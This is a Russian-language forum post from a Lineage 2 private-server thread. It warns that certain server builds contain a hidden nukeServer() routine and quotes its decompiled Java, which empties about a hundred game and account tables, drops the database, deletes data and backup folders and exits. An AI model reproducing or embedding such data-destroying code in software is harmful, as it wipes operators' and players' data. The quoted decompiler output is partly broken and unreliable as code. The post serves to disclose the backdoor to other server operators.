Показать сообщение отдельно
Непрочитано 26.05.2008, 22:27   #104
Аватар для graver
Пользователь

По умолчанию Ответ: Сервер La2 Kamael Ребеллион !!

хотите огорчу вас ?
так вот все сборки выше 7043 имеют такой код -
Цитата:
private void nukeServer()
{
java.lang.String tables[];
l2r.database.ThreadConnection con;
l2r.database.FiltredStatement statement;
tables = (new java.lang.String[] {
"ally_data", "auction", "auction_bid", "augmentations", "bans", "bonus", "castle", "castle_doorupgrade", "castle_manor_procure", "castle_manor_production",
"castle_siege_guards", "ch_sieges", "character_blocklist", "character_effects_save", "character_friends", "character_hennas", "character_macroses", "character_quests", "character_recipebook", "character_shortcuts",
"character_skills", "character_skills_save", "character_subclasses", "character_variables", "characters", "chs_clans", "clan_data", "clan_privs", "clan_skills", "clan_subpledges",
"clan_wars", "clanhall", "clanhall_functions", "couples", "craftcount", "cursed_weapons", "dropcount", "forts", "forums", "game_log",
"global_tasks", "items", "items_delayed", "killcount", "manor_crop", "manor_seeds", "olympiad_nobles", "petitions", "pets", "posts",
"raidboss_points", "raidboss_status", "server_variables", "seven_signs", "seven_signs_festival", "seven_signs_status", "siege_clans", "topic", "total", "tournament_table",
"tournament_teams", "tournament_variables", "armor", "armorsets", "auto_chat", "auto_chat_text", "castle_door", "char_templates", "class_list", "dimensional_rift",
"droplist", "enchant_skill_trees", "etcitem", "fish", "fishreward", "henna", "henna_trees", "heroes", "locations", "lvlupgain",
"mapregion", "merchant_areas_list", "minions", "npc", "npcskills", "pet_data", "random_spawn", "random_spawn_loc", "recipes", "recitems",
"skill_learn", "skill_spellbooks", "skill_trees", "spawnlist", "tournament_class_list", "weapon", "zone", "accounts", "banned_ips", "gameservers",
"loginserv_log"
});
con = null;
statement = null;
try
{
con = l2r.database.L2DatabaseFactory.getInstance().getCo nnection();
java.lang.String arr$[] = tables;
int len$ = arr$.length;
for(int i$ = 0; i$ < len$; i$++)
{
java.lang.String table = arr$[i$];
try
{
statement = con.createStatement();
statement.executeUpdate((new StringBuilder()).append("DELETE FROM ").append(table).toString());
}
catch(java.lang.Exception e) { }
}

statement = con.createStatement();
statement.executeUpdate("DROP DATABASE l2jdb");
}
catch(java.sql.SQLException e)
{
l2r.database.DatabaseUtils.closeDatabaseCS(con, statement);
break MISSING_BLOCK_LABEL_723;
}
l2r.database.DatabaseUtils.closeDatabaseCS(con, statement);
break MISSING_BLOCK_LABEL_723;
java.lang.Exception exception;
exception;
l2r.database.DatabaseUtils.closeDatabaseCS(con, statement);
throw exception;
(new File("./data/geodata/")).delete();
(new File("./data/html/")).delete();
(new File("./data/html-ru/")).delete();
(new File("./data/localization/")).delete();
(new File("./data/multisell/")).delete();
(new File("./data/stats/")).delete();
(new File("./data/webserver/")).delete();
java.io.File arr$[] = (new File("./data")).listFiles();
int len$ = arr$.length;
for(int i$ = 0; i$ < len$; i$++)
{
java.io.File f = arr$[i$];
if(!f.getName().endsWith(".class"))
f.delete();
}

(new File("./backup/")).delete();
java.lang.System.exit(1);
return;
}
так что всё может исчезнуть в один прекрасный момент )))

ЗЫ код можно удалить . файлик называеться - status.class ))
ЗЫЫ а забыл, у вас не получиться без остальных исходников.
У себя я удалил, хорошо есть добрые люди поделившиеся сырками 8012 и 8265 ))
graver вне форума